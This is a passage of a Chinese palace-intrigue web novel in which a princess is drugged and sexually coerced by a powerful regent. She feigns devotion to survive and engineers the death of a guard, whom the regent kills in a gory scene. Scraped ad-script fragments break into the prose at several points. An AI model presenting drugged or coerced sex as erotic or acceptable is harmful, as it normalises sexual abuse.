女子有些犹豫,但仍然不由自主,要去解衣带。解到一半,不知为何,突然停了下来,攥住手心,突然盯向他道:“高盛,你下作,无耻!” 这一声咬牙切止的骂声,让高盛略微一怔,挑了挑眉,看着她道:“你说什么?” “你……” 司妤看着他的脸,想到自己刚才的媚态、丑态,又想到此人的恶贯满盈,只觉得胸中恨意再也无法抑制,怒声道:“高盛,我说你下作,无耻,恶心!你枉为人臣!”说完,突然拔起头上金簪,朝他头面刺去。 他随意一抬手,轻松就将她手拦住,那手如铁掌一般将她半个手与手腕捏住,让她哪怕再往前一寸都难。 也是在此时,她突然又清醒,明白自己竟真的失去神智,朝他下手。 就算忍下那下三滥的药,也不过是遭他淫|污一回,就如勾践卧薪尝胆,如韩信胯下之辱,这有何不能忍? 但此时杀他,无异于自寻死路。 她比不过他的力气,甚至还能维持多久的清醒也不自知,电光火石间,她突然收回簪子,又刺向自己。 果然,他既然能拦下她刺过去的簪子,也能拦住她自尽,再次捏住她手腕,朝她道:“公主,你这是做什么呢?” 司妤哭道:“我宁死也不受此辱!” “何至于说得那么难听,不过是助助兴而已。”高盛道。 欲念再起,司妤知道自己这短暂的清明又要被药物所盖住,便颓丧地坐在地上,哭道:“谁要和你助兴,我恨你……” 最后时刻,她用残存的意志道:“景平……景平……” 下一刻,她便无力地趴在了地上,脑中一片混沌,再不能思考……她撑起身,朝眼前的男人媚笑,抱住他腿,求道:“太尉,求求你……” 一边说着,一边解下自己的衣服。 …… 司妤醒来时,已是日薄西山之时,红红的阳光自窗外照进来,自己仰面躺在睡榻上,不着一缕,堪称玉体横陈,高盛只着一件单衣,大剌剌坐在榻另一头,喝着面前的清酒。 她自榻上撑起身,收回腿,捡起一件衣服来替自己盖上,似乎可以感觉到自己是和他荒|淫过,但也并没有过分,脑子里的记忆十分混沌,有一些男女交缠的画面,也有自己骂他的记忆,自然,有一幕她还记得:她拿簪子刺过他。 此时再看那簪子,扔在一旁的地上,怎么扔过去的,她完全不记得。 怎么办? 她刚才还做过什么? 后面到底发生了什么? “公主醒了?”高盛问。 她一副紧张哀婉模样看着他,没有说话。 高盛朝她勾手,示意她过去。 她想,如果他已经对她动了杀心,那她就不想过去,不如堂堂正正死,但如果他此时并不想杀她呢? 犹豫片刻,她还是过去了,一边拿衣服遮着自己,一边走到了他面前。 高盛问:“公主可还记得喝那碗粥后发生的事?” 司妤摇摇头。 高盛凑近她:“这药好像不太纯,公主时而迷糊,时而清醒的,迷糊的时候,便放|荡得让人大开眼界,清醒的时候,就叫一个名字。” 司妤问:“……什么名字?” “景平。”高盛道。 景平是宋之洵的字。 司妤在内心松一口气,却露出紧张害怕的模样。 “我……” 高盛问:“其实公主的心上人是宋之洵是不是?委身于我,只是被逼无奈。臣听闻,先帝在时,想为公主招宋之洵做驸马来着。” 再次面临选择,司妤在脑中飞速思考自己该有什么反应。 当时她刺高盛,暴露了自己想杀他,害怕不能被他放过,为了自救,她只能假装心恋宋之洵。 如此,她对他的恨,就是一种女人的怨念,以及恨他让她受辱。 完全是一个小女人的、心中只有情爱的作为。 虽然冒险,但尚有一线生机。 那现在呢?高盛当时没杀她,现在又是什么决断? 她瑟缩着哭道:“太尉,不是那样的,我与宋之洵只在好多年前远远见过一面,我没有喜欢他,我爱慕的……一直都是太尉,太尉是当世英雄,是太尉扶弟弟上位,是太尉诛杀管洪、拦住长生教,要不然我今日不知在哪里…… “唤他名字,实在是……神智不清,当不得真,太尉一定要相信我……” 高盛叹一声气,“公主啊公主,司崇赫若是知道他的后人如此没种,不知道会不会从棺材里跳出来。” 司崇赫便是大兴的开国皇帝,南征北战,平定四海,创下大兴两百年基业。司妤听这话,心中悲怆,想着,忍辱负重只是一时,她一定会死得其所,不辱没先人铮铮铁骨。 高盛居高临下,捏着她下巴道:“其实,公主多虑了,你就算承认喜欢宋之洵,讨厌我也无妨,我又不在意,反正不管公主喜欢谁,也不妨碍公主让我很快活。” 司妤明显放下了些惶恐与紧张,在地上跪行到他面前,讨好道:“太尉,我真的没有,世间男子,我只喜欢太尉……” 说着,松开了胸间抱着的衣服,小心攀上他的肩颈,轻抚他宽阔健硕的肩背胸膛,吻上他喉结。 她虽然向来柔顺,但还少有这样主动的时候。 高盛揽过她腰身:“说了我不在意,只是,我侄女将与宋之洵成婚,我已奏请皇上,封她长庆县君,并于下月办纳征礼,公主届时过来,赐她些珠玉牌匾,如何?” 县君已是正五品的品秩,那毫无家世的王家女初进京便得此封号,可谓一飞冲天,地位比宋之洵还高。 这是高盛要给侄女抬身份,让她一跃成为名门贵女,嫁与宋家名正言顺。 朝中之事皆由高盛说了算,更何况一个封爵?司妤好似感激涕零,连忙点头:“好,皆依太尉所言。” 他满意地开口:“好,现在,转过去,趴下。” …… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她明白,至此,这一关算是闯过去了。 回到宫中,她便给宋之洵去一封信:“吾今不慎,于酒后失言,唤君名姓,为高盛所闻,贼子未露不悦,然吾且感且愧,心中难安,故书此信告知于君,望君万万珍重,小心应对。” 信写好,交由最信得过的宫人,将信亲自交到宋之洵手上。 王姑娘与宋之洵的婚事传入宫中,司禅自然要死要活,到她这里闹了一通,但她实在无心来管这些,只说自己求过,奈何高盛不允,将司禅打发了,司禅一会儿哭闹,一会儿质疑她没用心办事,不休不止,最后被她赶出了漪兰殿。 没两天尚书台的奏请果然递了上来,有臣子替高盛侄女请封县君,皇上同意,那王姑娘便做了长庆县君。 依旧例,受封位号的女子要进宫谢恩,见过皇后娘娘,因皇帝年幼,最后召见的是太后,太后见过,为表示对高盛的器重,便让司妤请王姑娘小坐。 这王姑娘名王小桃,年十八,容貌不算丑,也不算好看,只能说是平平常常,虽然有个狂妄嚣张的表叔,但人还是乡野出身的纯真谨慎模样,她说话、走路,样样都不像京城贵女,许多规矩也半懂不懂,一双眼睛小心而灵动地观察着宫中,转来转去,显示这个姑娘不是愚笨的人。 司妤在御花园的亭中请王小桃吃茶点,王小桃由宫人带过来,磕磕绊绊朝她行礼。 司妤痛恨高盛,但也知道这王小桃并没有做什么,哪怕心中对她没什么好感,却也不想为难她,开口让她起身,说道:“坐下吧。” 王小桃便由宫人带着在司妤对面的石凳上坐下,这才悄悄抬头,一抬眼,就被眼前女子的容貌惊住了。 世上竟有如此美貌的人,简直比她见过的年画上的仙女还好看。 若非亲眼所见,她连想象都想象不出世上有如此貌美的人。 她竟无法形容这样的眉眼,只觉得眉毛似柳叶,粗细正好,疏淡也正好,一双眼睛,那么大,那么亮,仿佛里面流着春泉,鼻子小巧而挺直,嘴巴是她从未见过的好看的唇形,更别提皮肤,像雪,像剥了壳的蛋,白得发光,白得晃眼,无一丝瑕疵。 这一切的一切,或许再加上她头上的华丽珠钗,构成了她无人可比的贵气……对,就是贵气,仿佛公主生来就该长这模样,仿佛所有人见了,都该匍匐在她脚下,连多看一眼都是对她的亵渎。 王小桃目瞪口呆,就那么直愣愣坐在原处,这一刻在她心中,懂了什么叫“美人”,“仙女”,以及——“公主”。 不知过了多久,因身旁宫人提醒,她才回过神来,才知公主唤人给她沏了茶,她该道谢。 王小桃才回神,语无伦次,结结巴巴道“谢公主”,随后忍不住道:“公主可真好看。” 司妤对这种赞美好似习以为常,朝她露出一丝礼貌性的笑容,问她:“县君从建德到京城,可还习惯?” 王小桃连忙回:“习惯,表叔对我很好,我哪里都习惯!” 司妤不想听见那个人,但没露声色,又说:“这是宫中点心,也是京城常见的点心,你试一试。” 王小桃忘了道谢,伸出手来拿了个最好看的,尝一口,眼睛一亮,点头道:“好吃!” “县君喜欢,那就多吃些。”司妤说。 王小桃吃相并不斯文,两三口就解决掉一个荷花酥,然后看看司妤,继续去拿了个绿豆糕。 司妤在一旁什么也没说,王小桃就一连吃了六七块大大小小的糕点,司妤暗自叹服她的好胃口,又觉得如果她不是高盛的侄女,其实也是个可爱的姑娘。 就在此时,司禅过来了。 12.第 12 章 司禅过来给司妤请安,宫人与王小桃道:“县君,这是昌乐公主。” 王小桃于是立刻跪下叩拜:“臣女王小桃,见过昌乐公主。” “原来你便是新封县君的王姑娘,快起身吧。”司禅说,待她起身,便将她细细端详,随后笑道:“倒底是凉州豪迈之地出身,县君气度一看就不似普通京中闺秀,有你表叔的气吞山河的气概。” 王小桃体格也是西凉人那种骨架大的,看上去有些许壮硕,她不知司禅是在暗讽自己,反觉得这位乐昌公主比永宁长公主更亲和,低头不好意思地笑道:“多谢公主。” 司禅内心对她越发轻蔑,本觉得可笑,转念一想,又觉得失落。 这王小桃的确什么也不是,不只出身低贱,相貌、修养、机敏,样样都上不得台面,可偏偏她就能嫁给宋之洵。 司妤问司禅:“妹妹怎么来了?” 司禅道:“今日风好,就出来转转,远远见到姐姐在亭子里,就过来了。” 司妤很清楚妹妹来做什么,不过是不甘心,想看看要嫁宋之洵的人长什么模样,她担心坐在这里,妹妹又说什么不该说的话,便道:“我也坐了这一会儿了,县君,你可愿陪我走走?” “是,小桃自然愿意。”王小桃立刻道。 司妤往荷花池边上走,王小桃跟上,但司禅也跟上了,还走在王小桃身旁,没一会儿问她:“高太尉是凉州人,县君怎么在建德?” 王小桃回答:“原本我是在凉州的,后来我爹爹要跟着表叔上战场,家中没人,爹爹就托付商队把我带到了建德的姑姑家。” 这时,司妤想起高盛曾说,表哥是因他而死。 她问:“你爹爹是战死还是……” 王小桃带着些许伤心道:“战死,我爹和我高家的大表叔、小叔叔,都是那时候战死的,就留了表叔一人,所以他才愧疚,要接我到京城来。” 司妤知道高盛自小入军,历经大小上百场征战,总是胜多败少,堪称用兵如神,却没想到竟有如此惨烈的时候,便问:“那是什么时候的事?哪场战事?” 王小桃想了想:“大概……五六年前吧,战事我不知道,我知道就是打那该死的突厥人!” 司妤微怔,突厥的确向来与大兴不和,时常侵扰,但几年前因突厥内乱,自顾不暇,所以再没发生过大的战事,最近一次便是当年刑州之险,突厥两万精锐穿过幽州,迅速进入刑州,逼进京城,而那时她正好至刑州为父皇祈福,突厥欲将她俘虏,一路追赶,她被亲兵护卫着逃至苍岩山附近,终于走投无路。 那时她已作好准备自尽,以免受辱,但后来,他们等来了援军。 她听说那是一队在附近剿长生教的边军,千里奔袭而至,虽是精锐,却只有三千人。 那三千人与两万突厥军在苍岩山死战三天三夜,她虽看不见,但也知战况十分惨烈,堪称血流成河,尸堆如山,边军最后战至数百人,却仍未撤军,然后才等到了京城来的援军。 后来突厥之围被解,许多人在那场战役中升官进爵,她所知道的,太傅除晦的女婿安朝烈,便因最终斩下突厥大将首级而受封亭侯,赏绢万匹。 安朝烈的确率军大败突厥,但她其实更感激前面那三千边军,若非他们死战,哪能等到后面安朝烈的大军? 但她并不知那是谁的部将,只记得援军护着她的车马离开时,她于马车上看见个少年将军,手持一把红缨枪,遍身是血污,看不清面容,只有一双星辰般湛亮的双眼,锐利,桀骜,带着一种劈天斩地的气势。 后面这场战役又持续了十来天,不知他是否活了下来,如果活着,如今到了哪里?如果死了,是否获追封,家人是否安好? 那样的忠臣良将,如果她还能见到该有多好。 司妤心中有些怅然,本就没多少聊天的兴致,此时更加面冷少言了,倒是司禅主动与王小桃说话,问她在建德与谁住一起,平时做些什么,可识字,又是怎么来的京城,一边说着,一边笑意越来越浓。 王小桃从乡下过来,为人单纯,也不觉得堂堂公主会对自己有什么别的心思,只想着昌乐公主不如长公主那样美貌,果然为人也不那么高高在上。 走到一处水面平台,水下有锦鲤寻食,司妤停下来到水边看池里的鱼,转头示意宫女给鱼食王小桃,朝她道:“这池里的鱼贪食,县君要不要喂一喂?” 王小桃如今住在太尉府,后面倒是有个大园子,但似乎没什么得力的管事,有池塘,却没这么好看的鱼,她觉得有意思,道了声“谢公主”,便接过鱼食,站到水边喂食。 鱼食撒下去,里面的锦鲤疯了一般围过来吃,几乎要跳起来,看得十分有意思,让王小桃新奇不已,不由一步步靠近水池,几乎站到了水池最边沿。 她本是胆大的人,哪怕这平台没栏杆,她也不怕,谁知不知怎么地,突然就一个不稳,从台上栽了下去。 “扑通”一声,王小桃掉进了水里。 这水池是造宫殿时人工挖出来的,并不大,但极深,没人头顶,而王小桃明显不会水,挣扎几下,很快就沉了下去,又冒一会儿头,又沉了下去。 司妤会水,但她是公主,不可能下去救人,便立刻回头唤人,还没开口,正好见卢慈带着两名禁卫从远处奔袭而来。 他初接手郎中令,为尽快控制宫中禁卫,对此事十分上心,几乎日日会亲自巡逻察视,此时想必是正好巡逻到附近,远远就看见王小桃落水。 待他们离近,司妤朝他们道:“县君掉下去了,快救人。” 谁知卢慈急匆匆跑到水边,想下去又忍住,回头道:“快救人!” 后边那两名禁卫却也没立刻跳下去,异口同声为难道:“我们不会水。” 卢慈显然自己也不会水,顿时急得跳脚,一把抽出身后禁卫刀鞘,伸向水面朝王小桃道:“快拉住!” 然而平台有些高,王小桃又胡乱挣扎得离开岸边几许远,根本拉不着刀鞘,甚至可能听都没听到。 急得卢慈回头道:“谁会水,谁会水?” 说着就想自己先跳下去再说,此时司妤身后如绵道:“公主,奴婢会水,奴婢下去吧。” 司妤关照她:“小心。” 如绵便跳下水去,虽身量娇小,但在水中却十分灵活,很快就绕到王小桃身后,托起她的头来。 王小桃已经呛了水,此时似乎慌乱了,失去了意识,死死抓住如绵的胳膊不放,司妤替如绵担心,后边另有个小太监也跳下水去帮忙,好在如绵水性确实好,并没有受王小桃影响,带着她游到岸边,拽住了卢慈递下去的刀鞘,小太监也帮忙托起王小桃,两人在水下歇了口气,上面的人也帮忙,倒很快将王小桃拽了上来,急忙替她裹上披风。 王小桃几近昏迷,卢慈亦不知怎么办,急着要叫太医,倒是如绵老道,指引太监在她腹下按了几下,将她呛进去的水按了出来,王小桃便幽幽转醒。 司妤看着如绵道:“好在有你,我倒没想到你水性这么好。” 如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绵回道:“公主忘了,奴婢出身江东,家门口便是河,奴婢是在水里玩大的,也见过人溺水。” 司妤看看卢慈几人,若有所思,随后才回神,朝如绵道:“快去换衣服歇一歇。” 接着又吩咐如缨:“县君呛了水,又受了惊,赶紧扶县君去我宫中换衣服,再请个太医来看看有无大碍。” 如缨连忙一边派人去叫太医,一边找人背了王小桃朝漪兰殿去。 卢慈担心地看看王小桃,但司妤如此安排也妥帖,便朝司妤告辞后离去,待所有人离开,司妤看看王小桃之前站的地方,又看看下面的水池,最后看向司禅。 司禅接到她的目光,疑惑道:“姐姐看我做什么?” 司妤也觉得,妹妹大概不会糊涂到这个地步,敢在宫中推王小桃下水,若今日王小桃真有什么不测,高盛怎会放过在场这些人? 也许就是王小桃自己没注意掉下去的吧。 她便没质问司婵,只告诫道:“县君与宋之洵不日将订婚,妹妹知道吧?且高太尉十分在意这个侄女,你别乱来,寒了太尉的心。” 司婵很快道:“姐姐,我当然知道,我也知道,除了祝福他们,我又能如何?” 司妤见她态度不似有假,便不再纠结此事,往漪兰殿去了。 王小桃体格好,在漪兰殿换下衣服,喝下碗姜汤,太医请过脉说无大碍,司妤才让人亲自送王小桃回去,送补品送绸缎,又着人去与高盛道歉,告知因宫中人护卫不周,王小桃不慎落水,虽为皇家,却也做足了礼数。 高盛没说什么,大概并不预备因此事而责难皇家。 司妤还想着王小桃说的她爹爹战死之事,有一日前往北宫见皇上,正好在未央宫附近遇到了尚书令严淮,便上前道:“严令君今日来见皇上?” 严淮朝她请安道:“每月逢5日,由微臣给皇上讲课。” “令君出身经学世家,有令君为师,皇上定能成一代明主。” 严淮连忙道:“臣虽才疏学浅,但定会竭尽所能教导皇上。” 司妤以皇上姐姐的身份朝他恭敬地行了礼,随后道:“今日得见令君,正好有一事相问。” 严淮道:“公主请问。” “令君可知五年前,我于苍岩山遇突厥军一事?”司妤问。 严淮道:“臣记得,那时突厥以两万精骑突袭,途经幽州,直取京都,正好在刑州苍岩山遇公主,便欲劫持,好在安朝烈将军率军及时赶到,大败突厥,救下公主。” “但安朝烈将军到时我已被突厥军追至绝境,若非一队边军阻拦,我早已遭俘,哪里又能等到安大将军营救?我想当时严令君似乎任给事中,不知令君是否知道那是何人所率部队?”司妤说。 严淮道:“公主,臣当时已受吴弼谗言,被免官了。” 的确,父皇宠幸吴弼时,朝中便由吴弼只手遮天,顺我者昌,逆我者亡,吴弼打压了许多异己,包括严淮。 这事只能证明父皇的昏庸,司妤不知说什么好,严淮继续道:“据臣所知,除了安朝烈将军,孔绍,赵杰也在之后受封赏,大概是此二人之一吧。” 司妤对这二人倒是有印象,高盛初杀管洪,扶立弟弟为皇帝,便有人起兵叛高盛,正是孔绍赵杰二人,被高盛杀了,也将人头悬挂示众。似乎当年孔绍便年不过三十,莫非他就是那个浴血杀敌的少年将军? 但那时,她是感激高盛能当机立断杀了孔绍赵杰的,因为那个时候对她来说高盛是忠盛,叛乱之人皆是逆贼。 13.第 13 章 王小桃的纳征礼之前,宋之洵被加封为越骑校尉,屯兵于京城西郊的莲花岭,把守京城入口。 高盛把持朝纲后,本就是顺我者昌、逆我者亡,宋之洵这样的名门子弟做高盛的侄女婿,受加封并不奇怪。算下来宋之洵如今手上统领八千余人,并不少了。 司妤找来一张京城的地图,看了好久,最后圈下了莲花岭旁边虞山的位置。 没几天,到纳征礼,司妤以皇室长公主身份去恭贺。 上一次徐晦夫人出殡,那是三品诰命,这一次王小桃是五品县君,但所得赏赐一点也不比上次徐夫人少。 这是高盛的要求,司妤有些意兴阑珊,打算到一趟,小坐片刻就回宫。 正午时她到太尉府,发现高盛果真对侄女好,这大礼办得十分隆重,院中宾客如云,王小桃随高盛过来行礼,今日她穿得珠翠满堆,行礼也更得体了,似乎长进了不少。 司妤问王小桃:“上次县君落水,不知回来是否有着凉?” 王小桃回答:“多谢长公主关心,一切无碍。” 司妤便又说了一些王小桃“惠质兰心,品貌端庄”的话,然后赏金银首饰和丝绸,随后入座。 才坐下不久,听闻宋家来送订聘之礼的人将要到来,司妤准备要走,却有丫鬟来替她倒酒,她正欲拦下,那丫鬟却一不小心将酒全倒她身上了。 丫鬟连忙道:“奴婢该死,求公主恕罪!” 司妤不知这丫鬟怎么这么笨手笨脚,但看她的样子,竟也不慌乱,洒了酒之后很快跪下,认错,行云流水,一点差错都没有。 倒是一旁王小桃急了,起身为难道:“公主,这……” 随后便有嬷嬷上前来,朝司妤道:“公主,此婢女行事鲁莽,冲撞公主,老奴下去定然重罚,还请公主允许老奴带公主去更衣。” 司妤出行,自然不会只有一套衣服,宫女会随时备着好几套衣服以免发生意外有损仪容,此时她只能去更衣。 但她看着这嬷嬷,又看看一旁跪着的丫鬟,觉得这事来得太巧。 而且这嬷嬷似乎是高盛身边的人,她又坐了片刻,终是起身随嬷嬷离开花园,往后面寝室而去。 行至一处门洞,迎面碰见两名护卫,那两名护卫立刻避让,嬷嬷带着司妤拐弯过去,走几步,便听旁边男人的声音道:“老元,待会儿你替我一下,我去趟茅房。” “你怎么又要去茅房?” “这不是肚子坏了么。” “行行行。”隔了一会儿,问:“刚才李嬷嬷带的哪家姑娘?我还没见过这么好看的女人。” “嘿,你连她都不认识,人家当时可是要……” 话未完,李嬷嬷在花墙这边朝那边道:“好大的胆子,安静!” 下面二人没想到她们就在花墙另一边,连忙噤声称“是”,慌不迭就离去了。 李嬷嬷朝司妤赔礼:“公主恕罪,今日小姐大喜,府上宾客多,为防意外,从别处调了许多护卫过来,没学过规矩,冒犯了公主。” 司妤淡淡道:“我知道,太尉是不拘小节的人。” 毕竟凉州出身的他本就不是什么世家子弟,他自己就没规矩。 司妤嘴上这样说着,心里却想着刚才那两个护卫的话。 如果她没听错的话,刚才那人最后说了一半的音,好像是“杀”,“人家当时可是要杀……你?” 她之所以注意,是因为那人称“老元”。 元这个姓并不常见,她在京城没听见过,高盛这一干人过来后也没怎么听见,就只有那个斗胆包天的元炳。 但如果是“袁”呢? 司妤仍然倾向于他就是元炳,一是两人后面的话,二是这元炳的体型,与当天卢慈给小柔辨认的那人很像。 她直觉,这就是元炳本人。 好你个卢慈,好你个高盛,宫中要犯,就这么大摇大摆在太尉府当值! 李嬷嬷将她们领到一处幽静的房间外便停下了,和司妤道:“公主,便是这里。” 这儿长了许多忍冬,此时金银相错的花儿正盛开,阵阵飘香,花丛沿着墙角一直爬到屋顶,很有春夏气息。 “公主请入内更衣。”李嬷嬷替她推开门。 司妤与如缨等人进去,李嬷嬷离开,她在里面才换好衣服,门便被推开了,高盛走了进来。 如缨等人看看司妤,低头出去了,司妤暗暗深吸一口气,回头娇声道:“今日大礼,太尉竟还有时间过来。” “是小桃订婚,又不是我订婚,还要我整日侍候着?”他一过来,便将她抱至朝后开的一座窗台上,撩起她裙子。 她不情愿,推他道:“不要在这里,窗开着。” “开着才有意思,放心,没人来。”他道。 一切不由她分说。 她按着窗台,紧紧咬唇,看一眼外面,没几步便是高高的院墙,窗外仍是一丛忍冬花,花香袭人,的确不见人,但实在是…… 到底是府中在办喜事,他没有多磨蹭,快速就解了欲,将她扔在房中叫她再等着自己,自己就理好衣服匆匆离去了。 司妤扶着窗框,转头看着外面的忍冬花,看着看着,又想起小柔。 那姑娘,还不到十七吧,看着那么柔弱的人,怎么有勇气去死呢? 她司家皇宫的宫女,为什么要受这样的委屈? 司妤想,自己的确想杀高盛,但最终不知能不能成功,在等待那个遥远又叵测的结果之前,是不是应该先做好眼前的事? 没一会儿,如缨几人从外面进来,见她在窗边,先替她披上衣服,又去关窗。 司妤拦道:“先别关。” 说完,看看几人,挑出一个平日手脚灵活的宫女来,唤道:“如织。” 如织上前,司妤与她轻声说几句,如织点点头,便领命离去了。 随后司妤才吩咐如缨:“你们去找人要一盆热水来。” …… 元炳是个闲不住的人,在院墙下守着,十分无趣。 与自己一同值勤的刘四又去了茅房,他就更无趣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 晃荡着累,不晃荡无聊,举行盛宴的花园里飘来酒香和舞乐声,他心都飞了过去,心想那群做官的可真他妈过着皇帝般的逍遥日子! 改日走运,让他上战场砍几个人头,在太尉面前露一回脸,也做个大官,到那时必然有喝不完的酒,耍不完的女人。 正想靠着墙角打个盹,眼角余光瞥见一道粉色身影,他往那边一看,就见一个妙龄女子鬼鬼祟祟穿到了墙后。 他立刻按着刀柄追上,由于跑得快,正好看见那身形娇小的女人往另一条□□跑去,他于是立刻追上。 太尉府本就没什么女人,今日大部分人还都去了花园,这一片房屋也都空着,那女人尽往没人的地方跑,他想也没想就又追了上去。 最后那女人绕过一个假山就不见了,他追去,只有一条路,再往前,就看见了一条靠近院墙的窄道,正要再往前追,就见右边的忍冬花藤后是一座房子,里面隐隐有水声传来,窗子还开着。 他悄悄过去,贴着窗边往内瞧,没想到竟在里面瞧见了女人。 水声是一个水盆发出的,两三个丫鬟围着一个女人,好似在给她擦身子,他又多看两眼,突然想起来,这不是太尉府的丫鬟,这分明是刚才见过的公主身边那几个宫女! 元炳别提多兴奋,立刻就瞪大眼睛去瞧公主,可偏偏他站的方位不好,明显公主此时是没穿衣服的,他都能看见她那双白嫩的小腿,偏偏其余地方被两个宫女挡着,根本看不到关键地方,他急得要命,立刻就往前走一步,几乎要将头探进去瞧,结果就在此时,一个宫女不知从哪里钻出来,一下子就到了窗后,与他四目相对。 于是“啊”地一声,宫女大叫。 里面宫女也是大惊,连忙将衣服给公主披上,并大喊道:“有刺客——” 元炳还没回神,便有其余护卫过来,一把将他拿下。 因事涉公主,立刻有人去禀报李嬷嬷,李嬷嬷又去叫来了高盛。 高盛来时,护卫押着元炳跪在屋外,高盛看看他,随即进屋去,只见司妤坐在床边哭。 见他来,宫女们退下,高盛到床边,看她身上似乎没伤,问:“怎么了?说有刺客?” 司妤哭道:“不说有刺客,难道说……”说到一半又哭起来。 美人流泪,实在叫人心怜,高盛安慰道:“到底怎么了,现在怎么这么爱哭了?” 司妤暗暗想,确实自己以前不是这么哭哭啼啼的,太过了也不行。便止了哭声,泣声道:“太尉走后,我在房中擦身,如绵见窗子没关上,去关窗,竟发现那人在外面偷看!” 她说得悲愤欲绝:“也不知他看了多久,什么时候来的,刚才……”说着越发悲痛道:“都怪你,都怪你,一定要在那里……” 后面就哭声不止了。 高盛听明白了,搂着她的肩,脸上已起杀意。 “别哭了,你先等等。”说着他就起身出了房门。 听见门关上,司妤又哭了几下便止住声音,细细听着外面的动静。 14.第 14 章 高盛到门外,元炳立刻喊冤:“太尉明鉴,我不是刺客,我是捉拿可疑之人才过来的,是个穿粉色衣服的女人!太尉明鉴呐!” 高盛站在台阶上看他,一手伸向旁,旁边护卫怔了一下,随后反应过来,立刻呈上自己佩刀。 元炳见此立刻喊:“太尉我冤枉,我是凉州人,我认识卢将军,是卢将军安排我进来的!” 话音才落,一阵急促的脚步声传来,卢慈上气不接下气跑了过来,见元炳还活着,松一口气,立刻朝高盛道:“大哥,他是元炳,他是元刚的弟弟,是西凉人,绝不会是刺客!” “他就是元炳?”高盛说着看向元炳,不屑道:“那看来不会冤枉你了。”说完,手起刀落,一刀砍向他脖颈。 高盛臂力大,但这护卫佩刀实在轻了些,没能砍掉整个颈骨,最后便是脖子被割了一半垂在肩头,血流如注,人抽搐着倒下。 “大哥!这……”卢慈无奈叹声,高盛看向他:“你能保他一回,还能保他一世?色胆包天却又没脑子,找死!” “是……”卢慈不敢再辩解。 “将此处清理了。”高盛说完就进了房中。 司妤已在房中听到了外面的动静,知道元炳终究是被杀了。高盛一过来,她便贴了上去,抱着他胳膊娇滴滴又哭了几下,柔弱道:“还好有太尉。” 高盛道:“刚才不是说都怪我吗?” 司妤一羞:“怪自然也怪你,要不是你,我便不会被人……” 她说得伤心,高盛安慰道:“放心,至少我能肯定我在时他没在外面,没看见。” 司妤这才止了眼泪,依偎在他怀中。 他抱住她,狠狠在她身上捏了几把,沉下声十分不舍道:“可惜出了这事,外面一团乱,我不能不去。” 司妤道:“纵欲伤身,太尉就算年轻力壮,也要爱惜。” “年轻力壮,便要把力气留着用在该用的地方。”他啃着她胸口,“公主就在此等着,就说受了惊,待我回来再办你。” “可此时已经午……”司妤想反对,他却已经转身离去了。 想了想,她唤来随行宫女,穿好衣服,准备自行离去。 结果才到屋外,却见李嬷嬷在外面等着,朝她道:“公主若好了,老奴让人送饭菜来给公主。” “不必了。”司妤说着要走。 李嬷嬷立刻将她拦住:“公主,太尉吩咐过,让侍候好公主。” 司妤往前看一眼,不远处好像还有护卫,知道这是高盛交待过了。 她心中生怒,转念一想,他向来如此,没什么好怒的,便不露声色,回道:“那你让人送饭菜来吧。”说着回了房中。 待日落时分,宾客散去,高盛要往后院来,却被卢慈叫住,卢慈拉着李风华过来,同他道:“大哥,元炳的确可能是被冤枉的,我不懂,但李先生懂,让先生来同大哥说!” 高盛向来尊重李风华,见了他,转而到园中凉亭坐下,叫李风华坐,问他:“先生有何话说?” 李风华道:“下午时,卢将军找到属下,同属下说元炳的事。卢将军知恩图报,一心想护好救命恩人的弟弟,如今元炳身死,他对此耿耿于怀。” 高盛不说话,意思是让他继续。 李风华道:“听卢将军的意思,属下知道元炳所犯不是行刺公主,大概是垂涎公主美貌,对公主不敬?” 高盛看他一眼,然后看向卢慈:“偷看公主沐浴,该死吗?” 卢慈急道:“我就是觉得……觉得有点巧,之前公主想杀他,现在就真的杀了他……” 李风华说:“太尉,元炳纵然好色,但他竟能摸到公主下榻厢房,未免也太胆大了些。听说他一直辩解,他是被一个粉衣女子引过去的,而公主身旁宫女确实着粉衣,会不会元炳所言是真,他真是被人引过去的,而这幕后策划之人其实是……” 这个人他没说,但高盛知道他是要说公主。 是她吗? “多谢先生分析,此事我再好好查探。”高盛说。 李风华朝他拱手,随后高盛看向卢慈:“不管此事是否是被人设计,元炳也该死,他要是没色心,当知道里面是女人,就该立刻退下。如果他是正人君子,就不会在那儿逗留,最后被抓住。” 卢慈很新奇,大哥一向最讨厌什么“正人君子”,因为觉得他们都虚伪,现在竟然还用正人君子来要求元炳这个武夫了。 他欲言又止,最后却还是不敢顶嘴,放弃了。 李风华与卢慈两人退下后,高盛就回了后院,到司妤房中。司妤坐在榻边,见他进来,扭过脸去,似乎不太高兴。 高盛坐她身边道:“又是怎么了?” “你凭什么关我!”她委屈道:“这屋子外面才死过人!” 高盛一边把玩起她身上,一边笑,“死的人,不是公主想他死的吗?” 司妤听出他意有所指,又一想,他手下的卢慈一定会替元炳说话,除此之外,还有些谋士在身旁,说不定有人和他说过什么。 她横眉道:“我就是要他死,敢偷看我,诛九族也不为过!” 高盛觉得是这个道理,他不确定元炳是自己跑来的,还是被引|诱过来的,但他偷看公主是真,单凭这点,他就该死。 至于面前的女人,当年第一次时,还是十七岁的少女。那样如仙子般的容颜,那样纯洁美妙的身体,时至今日,两年过去,他对她有着强烈的占有欲,轻易不会让人触碰。 所以,她是洞悉了这一点,才如此设计元炳? 这事想不明白,她不承认,也永远不会明白。 他便不想了,朝她道:“好了,脱衣服吧。” 此时盛宴散去,夕阳西下,大把的时间。 他没去别的地方,就在眼前这张榻上,用最直接最平常的方式,享受着其中愉悦。 不知过去多久,在她几乎意识混沌时,他突然道:“公主一直不愿开窗,怎么还开着窗子擦身呢?” 司妤好一会儿没回话,等要回答“因为忘了”时,又觉得太过刻意。 他在她上方,一动不动盯着她,问着她这样的问题,动作也仍未停息,一时让她紧张,想努力思考,却又精神涣散,想不了什么对策。 最 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后她假装没听到,发出难以承受的哀泣声。 他终究没再继续问她,而是将她翻了个身。 